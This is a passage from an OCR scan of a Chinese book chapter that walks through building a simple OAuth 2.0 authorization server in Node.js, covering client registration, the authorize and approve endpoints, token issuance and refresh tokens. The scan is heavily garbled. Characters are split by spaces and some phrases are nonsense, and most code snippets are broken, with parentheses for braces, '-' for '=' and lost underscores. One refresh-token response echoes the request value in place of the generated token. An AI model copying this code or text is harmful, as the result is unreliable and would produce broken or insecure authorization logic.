构成 ， 各 个 组 件 都 运行 在 同一 个 系统 上 ， 可 以 分 别 通过 localhost 上 的 不 同 端口 访问 。 要 
了 解 关于 程序 框架 和 结构 的 更 多 信息 ， 请 参考 附录 A。 




















授权 服务 需 无 疑 是 OAuth 生态 系统 中 最 复杂 的 组 件 ， 它 是 整个 OAuth 系统 中 的 安全 权威 中 
心 。 只 有 授权 服务 器 能 够 对 用 户 进 行 身 份 认证 ， 注 册 客 户 端 ， 颁 发 令 牌 。 在 OAuth 2.0 规范 的 得 
定 过 程 中 , 已 经 尽 可 能 将 复杂 性 从 客户 端 和 受 保 护 资源 转移 至 授权 服务 融 。 这 很 大 程度 上 是 由 各 
个 组 件 的 数量 决定 的 : 客户 端的 数量 远 多 于 受 保护 资源 的 数量 , 受 保护 资源 的 数量 又 远 多 于 授权 
服务 器 的 数量 。 

我 们 将 首先 构建 一 个 简单 的 授权 服务 器 ， 然 后 逐渐 增加 更 多 的 功能 。 


5.1 管理 OAuth 客户 端 注册 
为 了 让 客户 端 与 OAuth 服务 器 交互 ,OAuth 服务 器 需要 为 每 一 个 客户 端 分 配 唯 一 的 客户 端 标 
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识 符 。 我 们 打算 使 用 静态 注册 ( 第 12 章 会 介绍 动态 客户 端 注册 ), 并 在 服务 器 中 使 用 一 个 变量 
存储 所 有 的 客户 端 信息 。 

请 打开 ch-5-ex-1 目录 并 编辑 authorizationServerjs 文件 ， 在 本 练习 中 不 需要 改动 其 他 文件 。 
代码 顶部 有 一 个 数组 变量 ， 用 于 存储 客户 端 信息 。 


var clients = [ 


























l; 

现在 这 个 变量 还 是 空 的 , 它 将 充当 所 有 客户 端 信息 的 存储 器 。 当 服务 器 需要 查看 关于 客户 端 
的 信息 时 ， 就 从 这 个 数组 中 查找 。 在 生产 环境 的 OAuth 系统 中 ， 这 类 数据 一 般 都 会 存储 在 某 种 
数据 库 中 , 但 是 在 练习 中 我 们 和 希望 你 能 直接 看 到 并 操作 它 。 之 所 以 在 此 使 用 数组 ， 是 因为 我 们 假 
设 授权 服务 器 要 处 理 OAuth 系统 中 的 很 多 客户 端 。 


























由 谁 来 生成 客户 端 ID? 
我 们 已 经 在 clientjs 中 为 客户 端 配置 了 特定 的 ID 和 密 钥 ， 可 以 将 它们 复制 过 来 。 在 常规 
的 OAuth RA F, € P 3 ID 和 密 钥 由 授权 服务 器 颁发 给 客户 端 ， 就 像 在 上 一 个 练习 中 所 做 的 
那样 。 我们 已 经 帮 你 完成 了 这 些 事情 ,以 便 让 你 在 练习 中 只 需要 编辑 单个 文件 。 但 是 ， 如 果 你 
愿意 ， 可 以 打开 client.js 文 件 ， 在 它 的 配置 中 修改 这 些 值 。 





首先 ， 从 客户 端 中 取出 那些 不 由 授权 服务 器 生成 的 值 。 客 户 端的 重 定向 URI 是 http://localhost: 
9000/callback， 因 此 ， 我 们 在 客户 端 列表 中 创建 一 个 新 对 象 。 
var clients = [ 
{ 
"redirect_uris": ["http://localhost:9000/callback"] 
} 
ls 
下 一 步 是 为 客户 端 分 配 ID 和 密 钥 。 我 们 沿用 上 一 章 练习 中 使 用 的 值 ， 分 别 是 oauth- 
client-1 和 oauth-client-secret-1 (客户 端 中 已 经 配置 了 该 信息 )。 将 这 些 信息 填充 到 客 
户 端 对 象 中 去 ， 得 到 如 下 结构 : 
var clients = [ 


( 

















"client id": "oauth-client-1", 
"client secret": "oauth-client-secret-1", 
"redirect uris": ["http://localhost:9000/callback"], 


) 
15 
最 后 , 我 们 需要 一 个 函数 ， 以 便 通过 客户 端 ID 查找 信息 。 在 数据 库 中 通常 会 使 用 查询 语句 ， 
但 我 们 提供 了 一 个 简单 的 辅助 函数 ， 用 于 从 数据 结构 中 搜索 出 正确 的 客户 端 。 


var getClient = function(clientid) { 
return | .find(clients, function(client) ( return client.client id == 
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clientId; }); 


这 个 函数 的 实现 细节 并 不 重要 ， 它 只 是 执行 了 一 个 简单 的 线性 搜索 ， 使 用 给 定 的 客户 端 ID 
搜索 整个 客户 端 列表 。 调 用 这 个 函数 会 返回 一 个 指定 的 客户 端 对 象 , 如 果 未 找到 客户 端 则 会 返回 
undefined, 既然 服务 器 掌握 了 至 少 一 个 客户 端的 信息 , 我 们 可 以 开始 整合 代码 来 处 理 服务 器 各 
个 端点 上 的 请 求 。 





























5.2 ”对 客户 端 授权 

OAuth 协议 要 求 授权 服务 器 提供 两 个 端点 : 授权 端点 ,运行 在 前 端 信道 上 ; 令 牌 端点 ,运行 
在 后 端 信道 上 。 如 果 你 还 不 清楚 前 端 信道 和 后 端 信道 的 工作 原理 以 及 它们 的 必要 性 ， 请 参阅 第 2 
章 中 的 解释 。 在 本 节 中 ， 我 们 将 构建 授权 端点 。 

















一 定 是 Web 服务 器 吗 ? 

简 言 之 , 是 的 。 第 2 章 已 经 介绍 过 ，OAuth 2.0 是 一 个 基于 HTTP 的 协议 。 特别 是 ，OAuth 
2.0 要 求 客户 端 使 用 HTTP 通过 前 端 信道 和 后 端 信道 都 能 访问 授权 服务 器 。 示 例 中 使 用 的 授权 
码 许可 类 型 就 要 求 前 端 信道 和 后 端 信道 接口 都 可 用 。 前 端 信道 供 资源 拥有 者 的 浏览 器 使 用 , 后 
端 信 道 供 客户 端 直接 访问 。 我 们 将 在 第 6 章 中 看 到 ,OAuth 中 的 其 他 许可 类 型 只 使 用 前 端 信道 
或 者 后 端 信道 ， 而 此 处 的 练习 中 两 者 都 会 用 到 。 

目前 已 经 有 一 些 将 OAuth 移植 到 非 HTTP 协议 (比如 受 限 应 用 协议 一 一 CoAP ) 的 尝试 ， 
但 它们 仍然 是 基于 原始 规范 的 ， 我 们 不 打算 在 此 介绍 这 些 。 你 可 以 尝试 将 本 练习 中 的 HTTP 
服务 器 移植 到 其 他 的 承载 协议 上 去 。 


5.2.1 授权 端点 

用 户 在 OAuth 授权 过 程 中 的 第 一 站 是 授权 端点 。 授 权 端 点 是 一 个 前 端 信道 端点 ， 客 户 端 会 
将 用 户 浏览 器 重 定向 至 该 端点 ， 以 发 出 授权 请 求 。 授 权 请 求 通常 是 一 个 GET 请 求 ， 我 们 会 在 
/authorize 上 接收 请 求 。 


app.get("/authorize", function(req, res)( 















































Fa 

首先 ， 需 要 确定 发 出 请 求 的 是 哪 一 个 客户 端 。 客 户 端 会 在 请 求 中 以 client ia 传递 其 标识 
符 ， 我 们 可 以 取出 该 参数 ， 并 用 上 一 节 中 的 辅助 函数 查找 客户 端 。 

var client = getClient(req.query.client id); 

接 下 来 , 需要 检查 客户 端 是 否 存在 。 如 果 客 户 端 不 存在 ， 则 不 能 授予 任何 访问 权限 ， 并 向 用 
户 显示 错误 信息 。 框 架 提 供 了 一 个 简单 的 错误 页 面 ， 用 于 向 用 户 展示 错误 信息 。 
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if (!client) ( 
res.render('error', (error: 'Unknown client')); 
return; 


现在 ， 已 确定 请 求 中 声称 的 客户 端 是 哪 一 个 ， 不 过 还 需要 对 请 求 做 一 些 合法 性 检查 。 当 前 ， 
通过 浏览 器 传 过 来 的 唯一 信息 就 是 client_id， 由 于 该 信息 是 用 浏览 器 通过 前 端 信道 传输 的 ， 
因此 被 视 为 公开 信息 。 如 此 一 来 , 任何 人 都 可 以 冒充 该 客户 端 , 但 是 我 们 还 是 可 以 借助 一 些 信息 
来 判断 请 求 的 合法 性 ， 其 中 最 重要 的 就 是 检查 传人 的 redirect uri 是 否 与 客户 端 注册 信息 中 
的 一 致 。 如 果 不 一 致 ， 同 样 要 返回 错误 。 







































































) else if (!  .contains(client.redirect uris, req.query.redirect uri)) ( 
res.render('error', (error: 'Invalid redirect URI')); 
return; 





OAuth 规范 以 及 我 们 对 它 的 简单 实现 都 允许 在 一 个 客户 端 注册 信息 中 包含 多 个 redirect_uri 
值 。 这 样 就 可 以 让 客户 端 在 不 同 场景 下 使 用 不 同 的 URL 提供 服务 ， 有 利于 功能 聚合 。 作 为 附加 
练习 ， 请 在 授权 服务 器 能 够 运行 之 后 ， 为 它 添加 多 个 重 定 向 URI 的 支持 。 

OAuth 提供 了 一 种 机 制 , 即 通过 在 客户 端的 重 定向 URI 上 附加 错误 码 的 方式 向 客户 端 返回 错 
误 。 但 是 这 类 错误 情况 不 会 用 到 这 个 机 制 。 为 什么 呢 ? 如 果 传 和 人 的 客户 端 ID 不 合法 或 者 重 定向 
URI 不 匹配 , 可 能 说 明 用 户 遭 到 了 恶意 方 的 攻击 。 由 于 重 定向 URI 上 的 内 容 完 全 不 受 授权 服务 器 
控制 , 它 很 可 能 包含 钓鱼 页 面 或 者 恶意 软件 下 载 。 授 权 服 务 需 无 法 完全 保护 用 户 免 遭 恶 意 客 户 端 
软件 的 攻击 ， 但 是 至 少 可 以 轻易 地 排除 某 些 类 别 的 攻击 。 第 9 章 会 进一步 讨论 这 个 话题 。 

最 后 ， 如 果 客 户 端 通过 检查 ， 则 需要 演 染 出 一 个 页 面 来 请 求 用 户 授 权 。 用 户 需 要 与 这 个 页 面 
交互 ， 并 向 授权 服务 器 提交 授权 决策 ,这 将 需要 浏览 器 向 授权 服务 器 再 发 送 一 个 HTTP 请 求 。 我 
们 会 在 requescs 变量 中 构造 一 个 以 随机 值 为 键 名 的 字段 ， 将 当前 请 求 的 查询 参数 保存 在 其 中 ， 
这 样 就 能 在 用 户 提 交 表 单 之 后 再 次 使 用 这 些 数据 。 

















































































































var regid = randomstring.generate(8); 
requests[reqid] = req.query; 


在 生产 系统 中 ， 你 可 以 使 用 会 话 或 者 其 他 服务 端 存储 机 制 来 完成 这 个 任务 。 练 习 中 的 
approve.html 文件 提供 了 一 个 授权 页 面 ， 我 们 会 泻 染 该 页 面 并 展示 给 用 户 。 泻 染 页 面 时 会 传人 客 
户 端 信息 以 及 之 前 生成 的 随机 值 键 名 。 


res.render('approve', (client: client, regid: regid)); 


客户 端 信息 会 显示 给 用 户 以 帮助 他 们 做 出 授权 决策 ， 随 机 的 regqia 键 名 会 作为 一 个 隐藏 值 
放 在 表单 中 。 这 个 随机 值 为 授权 页 面 提供 了 简单 的 防 跨 站 请 求 伪 造 保护 ,因为 在 下 一 步 中 需要 用 
它 来 查找 最 初 的 请 求 数据 ， 用 于 后 续 处 理 。 

函数 代码 如 附录 B 中 的 代码 清单 7 所 示 。 

到 现在 为 止 , 我 们 只 完成 了 授权 端点 请 求 处 理 的 前 半 部 分 。 接 下 来 需要 提示 资源 拥有 者 ， 让 
他 们 对 客户 端 授 权 。 























ÉA 
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5.2.2 ”客户 端 授权 

如 果 你 已 完成 前 面 的 步骤 ,那么 可 以 运行 当前 的 代码 了 。 请 注意 需要 将 3 个 服务 全 部 启动 : 
client.js, authorizationServer.js, protectedResource.jso M http://localhost:9000/ 打 开 客 户 端 主页 并 点 
击 Get Token 按钮 ， 应 该 就 能 看 到 确认 页 面 ， 如 图 5-1 所 示 。 








Approve this client? 
ID: oauth-client-1 





图 5-1 一 个 简单 的 确认 页 面 
































确认 页 面 很 简单 ， 它 展示 了 客户 端 信息 ， 并 简单 地 询问 用 户 是 同意 还 是 拒绝 。 现在, 我 们 来 
处 理 这 个 表单 请 求 。 





用 户 是 谁 呢 ? 

在 练习 中 ,我 们 忽略 了 一 个 关键 环节 : 对 资源 拥有 者 进行 身份 认证 。 认证 用 户 身份 的 方法 

有 很 多 , 许多 中 间 件 能 够 处 理 其 中 大 部 分 繁杂 的 工作 。 在 生产 环境 中 , 这 是 一 个 至 关 重 要 的 环 

节 ， 为 确保 周全 需要 谨慎 实现 。OAuth 协议 没有 规定 其 至 也 不 关心 如 何 对 用 户 进 行 身份 认证 ， 
只 要 授权 服务 器 执行 这 一 步骤 即 可 。 

作为 附加 练习 ,请 尝试 为 授权 确认 页 面 添加 用 户 身 份 认 证 功能 。 你 甚至 可 以 在 授权 服务 


器 
的 用 户 登 录 功 能 中 使 用 基于 OAuth 的 身份 认证 协议 ， 比 如 OpenID Connect (在 第 13 章 介 绍 )。 





虽然 本 页 面 中 表单 的 内 容 细节 只 针对 我 们 的 应 用 ， 并 且 OAuth 协议 也 没有 对 此 做 任何 规定 ， 
但 是 在 授权 服务 器 中 使 用 授权 表单 是 一 个 非常 普遍 的 模式 。 表 单 会 向 授权 服务 器 的 /approve URL 
发 出 一 个 HTTP POST 请 求 ， 所 以 需要 为 它 设置 一 个 监听 函数 。 























app.post('/approve', function(req, res) { 


)); 
当 表 单 被 提交 时 ， 会 用 HTTP 表单 格式 对 表单 值 进行 编码 ， 发 出 如 下 请 求 。 

















POST /approve HTTP/1.1 
Host: localhost:9001 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; 
Gecko/20100101 Firefox/39.0 

Accept: text/html,application/xhtml-«xml,application/xml;qz0.9,*/*;q-0. 





rv:39.0) 
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Referer: http://localhost:9001/authorize?response type-code&scope-foo&client id- 
oauth-client-1&redirect uri-http£3A22F$2Flocalhost$3A9000$2Fcallback&state- 
GKckoHfwMHIjCpEwXchXvsGFlPOS266u 

Connection: keep-alive 


regid-tKVUYOQSM&approve-Approve 


reqid 是 从 哪里 来 的 呢 ? 它 是 在 上 一 个 步骤 由 授权 服务 器 生成 的 随机 字符 串 LOB ISEBSOBUBUA. 
到 页 面 的 HTML 中 。 在 泻 染 之 后 的 HIML 中 ， 有 如 下 代码 。 




















«input type="hidden" value-"tKVUYQSM" name-"reqid"-» 

这 个 值 将 会 随 表 单一 起 被 提交 , 我 们 可 以 从 请 求 主体 中 取出 该 值 , 并 根据 该 值 找 出 未 完成 的 
授权 请 求 。 如 果 未 找到 这 个 值 对 应 的 未 完成 授权 请 求 ， 则 很 可 能 受到 了 跨 站 请 求 伪 造 攻击 ， 应 该 
向 用 户 展 示 一 个 错误 页 面 。 





var reqid = req.body.regid; 
var query = requests [regid]; 
delete requests[regid]; 


if (!query) { 
res.render('error', (error: 'No matching authorization request')); 
return; 


} 


接 下 来 ， 需 要 判断 用 户 点 击 的 是 Approve 按钮 还 是 Deny 按钮 。 可 以 通过 检查 提交 的 表单 中 
是 否 存在 approve 变量 来 判断 这 一 点 ， 只 有 点 击 Approve 按钮 才 会 包含 该 变量 。Deny 按钮 也 会 
发 送 一 个 类 似 的 变量 aeny， 但 是 我 们 认为 ， 只 要 未 点 击 Approve 按钮 就 视 其 为 拒绝 。 


if (req.body.approve) ( < 一 用 户 同意 授权 






































) else ( < 用户 拒绝 授权 

} 

先 来 处 理 第 二 种 情况 ,因为 它 简单 一 些 。 如 果 用 户 拒绝 了 一 个 合法 客户 端的 访问 请 求 , 我们 
可 以 告知 客户 端 实际 情况 。 由 于 使 用 前 端 信道 进行 通信 , 我 们 无 法 直接 向 客户 端 发 送 消 息 。 但 是 ， 
可 以 采取 客户 端 向 我 们 发 送 请 求 时 所 用 的 方法 : 拿 一 个 客户 端 托管 的 URL， 往 该 URL 上 添加 一 
些 特殊 的 查询 参数 ， 然 后 将 用 户 的 浏览 器 重 定向 至 这 个 经 过 构造 的 地 址 。 这 就 是 客户 端 重 定向 
URI 的 作用 ， 也 是 在 最 初 收 到 授权 请 求 时 需要 根据 客户 端 注 册 信 息 对 其 进行 检查 的 原因 。 这 样 ， 
就 能 向 客户 端 返回 错误 信息 ， 告 诉 它 用 户 拒绝 了 访问 请 求 。 



































var urlParsed = buildUrl(query.redirect uri, ( 
error: 'access denied' 

PA 

res.redirect (urlParsed); 

return; 
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如 果 用 户 同意 对 客户 端 授权 , 需要 先 查 看 客户 端 请 求 的 是 哪 种 类 型 的 响应 。 由 于 我 们 正在 实 
现 的 是 授权 码 许可 类 型 ， 因 此 要 去 检查 response type 参数 的 值 是 否 为 code。 如 果 是 其 他 值 ， 
则 要 使 用 相同 的 方法 向 客户 端 返回 错误 。( 第 6 章 将 介绍 支持 其 他 值 的 实现 。) 











if (query.response type -- 'code') ( 处 理 授权 码 许 
pacem 可 类 型 (细节 见 
Var urlParsed = buildUrl(query.redirect uri, ( 后 续 内 容 ) 


error: 'unsupported response type' 
Pss 
res.redirect(urlParsed); 
return; 


} 


在 知道 了 应 该 返回 什么 类 型 的 响应 之 后 , 可 以 生成 一 个 授权 码 并 返回 给 客户 端 , 还 需要 在 授 
权 服 务 器 上 将 这 个 授权 码 存储 起 来 , 以便 接 下 来 在 客户 端 访问 令 牌 端 点 时 还 能 找到 它 。 对 于 这 个 
简单 的 授权 服务 器 , 我 们 打算 继续 使 用 返回 确认 页 面 时 用 过 的 方法 , 在 服务 器 上 将 上 一 步 请 求 的 
查询 参数 保存 到 另 一 个 对 象 中 , 并 以 刚刚 生成 的 授权 码 为 索引 。 在 生产 服务 器 上 ,这样 的 数据 可 
能 会 存储 在 数据 库 中 ， 但 仍然 需要 能 通过 授权 码 的 值 来 查询 ， 正 如 我 们 稍 后 会 看 到 的 那样 。 


var code = randomstring.generate(8); 














codes[code] = ( request: query ); 


var urlParsed - buildUrl(query.redirect uri, ( 
code: code, 
State: query.state 

)); 

res.redirect(urlParsed); 

return; 


请 注意 ,我们 并 不 只 是 返回 了 coae。 还 记得 在 实现 客户 端 时 我 们 向 授权 服务 器 传递 了 state 
参数 吗 ? 这 是 为 了 对 客户 端 提供 跨 站 保护 。 现 在 到 了 男 一 端 ， 我 们 需要 将 收 到 的 state 参数 原 
样 返回 。 虽 然 不 要 求 客 户 端 传递 该 参数 ， 但 是 要 求 授权 服务 器 只 要 收 到 该 参数 就 返回 它 。 综 上 ， 
用 于 处 理 确认 页 面 请 求 的 处 理 函 数 如 附录 B 中 的 代码 清单 8 所 示 。 

从 这 里 开始 , 授权 服务 器 将 控制 权 交还 给 了 客户 端 应 用 ,， 它 需要 等 待 下 一 个 步骤 : 客户 端 通 
过 后 端 信道 向 令 牌 端点 发 出 请 求 。 


5.3 SHME 


HARP, ETERRA A EE URI 返回 来 了 。 客 户 端 拿 到 授权 码 
之 后 ， 向 授权 服务 器 的 令 牌 端点 发 出 一 个 POST 请求 。 这 属于 后 端 信道 通信 ， 是 在 客户 端 和 授权 
服务 器 之 间 进 行 的 , 不 需要 用 户 浏览 器 参与 。 由 于 令 牌 端点 不 面向 用 户 , 因此 完全 不 需要 HTML 
模板 系统 。 我 们 会 利用 HTTP 错误 码 和 JSON 对 象 向 客户 端 返 回 错 误 信息 。 

在 /token 路 径 上 设置 一 个 POST 请 求 监听 函数 来 处 理 令 牌 请 求 。 











































































































app.post("/token", function(req, res)( 


)); 


5.3.1 对 客户 端 进行 身份 认证 


首先 ， 需 要 确定 发 出 请 求 的 是 哪 一 个 客户 端 。OAuth 提供 了 多 种 供 客户 端 向 授权 服务 器 进行 
身份 认证 的 方法 ， 还 有 很 多 基于 OAuth 的 协议 提供 了 更 多 的 方法 ,例如 OpenID Connect (第 13 
章 会 详细 介绍 OpenID Connect， 其 他 方法 则 需要 你 自己 去 探索 )。 对 于 这 个 简单 的 授权 服务 器 ， 
我 们 打算 支持 两 种 最 常用 的 方法 : 使 用 HTTP 基本 认证 传递 客户 端 ID 和 客户 端 密 钥 ， 以 及 通过 
表单 参数 传递 。 我 们 在 此 遵循 了 良好 的 服务 端 编程 原则 ， 支持 多 种 输入 类 型 ， 允 许 客户 端 按 它们 
选择 的 方式 传递 凭据 。 首先 检查 Authorization 头 部 , 因为 这 是 规范 里 的 首选 方法 , 如 果 没有 ， 
再 检查 表单 参数 。 在 HTTP 基本 认证 中 , Authorization 头 部 是 一 个 Base64 编码 的 字符 串 , 由 
用 户 名 和 密码 拼接 所 得 ， 二 者 间 以 冒号 C) NAMIT OAuth 2.0 规定 将 客户 端 ID 作为 用 户 名 ， 
将 客户 端 密 钥 作为 密码 ， 但 是 拼接 之 前 要 先 分 别 对 它们 进行 URL 编码 。 在 服务 端 ， 需 要 逆向 地 
将 它们 解析 出 来 , 所 以 我 们 提供 了 一 个 辅助 函数 来 帮助 处 理 这 些 琐碎 工作 。 将 这 个 函数 返回 的 结 
果 保 存 到 变量 
var auth = req.headers['authorization']; 
if (auth) ( 
var clientCredentials - decodeClientCredentials (auth); 
var clientId - clientCredentials.id; 


var clientSecret - clientCredentials.secret; 


j 
接 下 来 ， 需 要 检查 客户 端 是 否 通过 表单 发 送 其 客户 端 ID 和 客户 端 密 钥 。 你 可 能 认为 仅 在 
Authorization 头 部 不 存在 的 时 候 才 需要 进行 此 检查 。 但 是 ， 我 们 还 需要 确保 客户 端 没 有 同时 
在 这 两 个 地 方 发 送 客户 端 ID 和 客户 端 密 钥 ， 否 则 ， 应 该 返回 错误 信息 〈 因 为 这 有 可 能 造成 安全 
漏洞 )。 如 果 没 有 错误 ， 则 可 以 很 容易 地 将 它们 从 表单 输入 中 复制 出 来 。 
if (req.body.client id) ( 
if (clientid) ( 


res.status(401).json((error: 'invalid client')); 
return; 











































































































} 
var clientId = req.body.client id; 
var clientSecret - req.body.client secret; 


) 
然后 ， 使 用 辅助 函数 查找 客户 端 。 如 果 未 找到 客户 端 ， 则 返回 错误 信息 。 





var client = getClient(clientId); 

if (!client) ( 
res.status(401).json((error: 'invalid client')); 
return; 


} 
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还 需要 确保 接收 到 的 客户 端 密 钥 与 正确 的 客户 端 密 钥 一 致 。 如 果 不 一 致 ， 应 该 返回 错误 信息 。 


if (client.client secret !- clientSecret) ( 
res.status(401).json((error: 'invalid client')); 
return; 


} 
至 此 ， 已 确认 客户 端 是 有 效 的 ， 可 以 正式 开始 处 理 令 牌 请 求 了 。 
5.3.2 “处理 授权 许可 请 求 


首先 ， 应 该 检查 grant type 参数 ， 以 确保 收 到 的 许可 类 型 是 我 们 所 支持 的 。 这 个 小 型 授 
权 服 务 器 只 支持 授权 码 许可 类 型 ， 所 以 该 参数 值 理 所 当然 为 authorization_code。 如 果 接 收 
到 不 支持 的 许可 类 型 ， 则 需要 返回 错误 信息 。 














if (req.body.grant type -- 'authorization code') { 
在 此 处 理 授权 
) else ( 码 许可 
res.status(400).json((error: 'unsupported grant type')); 
return; 
} 





如 果 确 实 收 到 了 授权 码 许可 ， 则 需要 从 请 求 中 取出 coae 参数 ， 并 从 上 一 节 中 存储 授权 码 的 
对 象 中 查找 该 code 值 。 如 果 找 不 到 该 code 值 ， 则 应 该 返回 错误 信息 。 








var code = codes[req.body.code]; 


if (code) ( < 一 在 此 处 理 有 效 的 授权 码 
} else ( 
res.status(400).json((error: 'invalid grant')); 
return; 


} 


如 果 从 授权 码 存储 中 找到 了 传人 的 code 值 , 还 需要 确定 它 确实 是 为 该 客户 端 颁发 的 。 恰 好 ， 
在 上 一 节 中 存储 code 时 , 也 保存 了 前 一 步 授权 端点 上 的 请 求 信息 , 其 中 包含 了 客户 端 ID。 对 比 
客户 端 ID ， 如 果 不 一 致 ， 则 返回 错误 信息 。 




















delete codes[req.body.code]; 


if (code.request.client id == clientId) ( 
| 在 此 处 理 有 效 
} else { 的 授权 码 
res.status(400).json((error: 'invalid grant')); 
return; 


) 

请 注意 ,一 旦 确定 授权 码 有 效 ， 不 管 后 续 如 何 处 理 ， 都 要 先 从 存储 中 将 其 移 除 。 这 样 做 是 出 
于 安全 考虑 ， 因 为 如 果 一 个 恶意 的 客户 端 提 交 上 来 一 个 被 盗 的 授权 码 ， 则 该 授权 码 应 该 被 丢弃 。 
即使 后 来 合法 的 客户 端 出 示 该 授权 码 ， 也 不 可 用 ， 因 为 我 们 确定 该 授权 码 已 遭 泄露 。 下 一 步 ， 如 















































客户 端 匹配 成 功 ， 则 需要 生成 一 个 访问 令 牌 ， 并 将 它 保 存 起 来 以 便 后 续 查 找 。 


var access token = randomstring.generate(); 
nosql.insert(( access token: access token, client id: clientId }); 


为 了 简化 ， 我 们 使 用 nosql Node.js 模块 将 访问 令 牌 存储 在 基于 文件 的 本 地 NoSQL 数据 库 
中 。 在 生产 环境 的 OAuth 系统 中 ， 用 于 处 置 令 牌 的 方案 有 很 多 。 你 可 以 使 用 一 个 功能 完备 的 数 
据 库 来 存储 令 牌 。 为 了 增强 安全 性 ， 你 可 以 只 存储 令 牌 值 的 加 密 散 列 ， 这 样 即使 数据 库 被 攻击 ， 
令 牌 本 身 也 不 会 丢失 。“ 另 外， 你 的 资源 服务 器 还 可 以 使 用 令 牌 内 省 来 向 授权 服务 器 查询 令 牌 的 
相关 信息 ， 而 不 需要 与 授权 服务 器 共享 数据 库 。 或 者 ， 如 果 你 无 法 (或 者 不 想 ) 存储 令 牌 ， 也 可 
以 使 用 一 种 结构 化 的 格式 将 所 有 必要 信息 都 府 入 令 牌 , 让 受 保护 资源 稍 后 可 以 使 用 这 些 信 息 , 而 
不 需要 从 其 他 地 方 查询 。 第 11 章 将 介绍 这 些 方法 。 
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令 牌 中 都 有 什么 ? 

OAuth 2.0 完全 没有 规定 访问 令 牌 的 内 容 应 该 是 什么 样 的 ， 它 有 一 个 很 好 的 理由 : 支持 多 
样 化 的 选择 , 每 种 选择 都 有 各 自 的 权衡 , 并 适应 于 不 同 的 场景 。 与 Kerberos、WS-Trust、SAML 
这 些 早先 的 安全 协议 不 同 , OAuth 不 需要 客户 端 了 解 令 牌 内 容 。 只 有 授权 服务 器 和 受 保护 资源 
需要 处 理 令 牌 ， 但 是 它们 可 以 自行 协商 令 牌 的 含义 。 

因此 ,OAuth 令 牌 可 以 是 无 内 部 结构 的 随机 字符 串 ， 我 们 的 练习 中 就 是 这 样 做 的 。 如 果 资 
源 服务 器 与 授权 服务 器 部 署 在 一 起 ( 和 我 们 的 练习 一 样 )， 则 它 可 以 从 一 个 共享 的 数据 库 中 查 
询 令 牌 值 , 从 而 确定 令 牌 是 颁发 给 谁 的 以 及 拥有 哪些 权限 。 另 外 , 令 牌 内 容 可 以 具有 内 部 结构 ， 
比如 JWT 或 者 SAML 断言 。 这 些 令 牌 可 以 被 签名 、 加 密 ， 或 者 既 被 签名 又 被 加 密 ， 而 且 在 使 
用 时 客户 端 仍然 可 以 不 关心 令 牌 内 容 。 第 11 章 会 深入 介绍 JWT. 





既然 已 经 生成 了 令 牌 并 将 其 保存 以 备 后 续 使 用 , 终于 可 以 将 其 返回 给 客户 端 了 。 令 牌 端点 的 
响应 是 一 个 JSON 对 象 ， 它 包含 访问 令 牌 的 值 以 及 一 个 用 于 描述 令 牌 类 型 的 token_type 标识 ， 
令 牌 类 型 决定 了 令 牌 的 使 用 方式 OAuth 系统 使 用 的 是 bearer SJ, 需要 通过 该 标识 告知 客户 端 。 
第 15 章 将 介绍 另外 一 种 叫 作 PoP 的 令 牌 类 型 。 




















var token response = { access token: access token, token type: 'Bearer' }; 
res.status(200).json(token response); 


加 上 最 后 这 一 点 代码 ， 令 牌 端点 处 理 函 数 就 算 完 成 了 ， 完 整 代 码 见 附录 B 中 的 代码 清单 9。 

至 此 , 一 个 简单 但 功能 完整 的 授权 服务 器 已 经 完成 。 它 能 够 对 客户 端 进行 身份 认证 , 提示 用 
户 进行 授权 ， 还 能 够 使 用 授权 码 流 程 颁发 随机 的 bearer 令 牌 。 你 现在 可 以 从 http://localhost:9000/ 
打开 客户 端 试 一下， 获取 令 牌 批准 ， 然 后 用 它 访问 受 保护 资源 。 

作为 附加 练习 ， 请 给 访问 令 牌 添加 一 个 较 短 的 过 期 时 间 。 你 需要 将 这 个 过 期 时 间 保 存 起 来 ， 
























































(D 当然 ， 如 果 安 全 服务 器 的 数据 库 被 攻破 ， 你 需要 担心 的 还 有 其 他 问题 。 
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并 通过 expires in 参数 返回 给 客户 端 ,你 还 需要 修改 protectedResource.js 文件 中 的 代码 , LEVE 
源 服务 器 在 响应 请 求 之 前 先 检查 令 牌 的 过 期 时 间 。 


5.4. 支持 刷新 令 牌 


我 们 已 经 实现 了 访问 令 牌 颁发 ,现在 希望 能 够 颁发 刷新 令 牌 并 实现 令 牌 刷新 。 第 2 章 介 绍 过 
刷新 令 牌 , 它 不 能 用 来 访问 受 保护 资源 , 但 可 以 用 来 在 无 须 用 户 参 与 的 情况 下 让 客户 端 获 取 新 的 
访问 令 牌 。 幸 好 , 我 们 所 做 的 授权 服务 器 颁发 令 牌 的 工作 并 没有 白费 , 本 练习 可 以 复 用 前 一 个 练 
习 的 代码 。 打 开 ch-5-ex-2 目录 并 编辑 authorizationServerjs 文件 ， 或 者 在 已 完成 的 上 一 个 练习 的 
基础 上 继续 。 

首先 ， 需 要 颁发 令 牌 。 刷 新 令 牌 与 bearer 令 牌 类 似 ， 它 是 和 访问 令 牌 一 起 被 颁发 的 。 在 令 牌 
端点 处 理 函 数 中 ， 我 们 会 生成 刷新 令 牌 ， 并 将 其 值 与 现 有 的 访问 令 牌 值 存储 在 一 起 。 


var refresh token = randomstring.generate(); 
nosql.insert(( refresh token: refresh token, client id: clientId Jj); 


此 处 使 用 同样 的 随机 字符 串 生成 函数 , 并 将 刷新 令 牌 保存 在 同一 个 NoSQL 数据 库 中 。 但 是 ， 
我 们 将 刷新 令 牌 存储 在 不 同 的 字段 下 , 以 便 授 权 服务 顺和 受 保护 资源 能 区 分 它们 。 这 一 点 很 重要 ， 
因为 刷新 令 牌 只 在 授权 服务 器 上 使 用 , 而 访问 令 牌 只 在 受 保护 资源 上 使 用 。 生 成 并 存储 这 两 个 令 
牌 之 后 ， 将 它们 一 并 返回 给 客户 端 。 
















































































var token response = { access token: access token, token type: 'Bearer', 
refresh token: req.body.refresh token ); 


token type 参数 (还 有 expires in 和 scope 参数 ) 仅 应 用 于 访问 令 牌 ， 而 不 用 于 刷新 
令 牌 ,而 且 没 有 对 等 的 用 于 刷新 令 牌 的 参数 。 刷 新 令 牌 仍然 是 会 过 期 的 , 但 是 因为 它 的 生命 周期 
相当 长 ， 所 以 就 不 将 过 期 时 间 告 知客 户 端 了 。 当 刷新 令 牌 失效 时 ,客户 端 必须 退回 去 使 用 常规 的 
OAuth 授权 许可 来 获取 访问 令 牌 ， 比 如 授权 码 许 可 。 

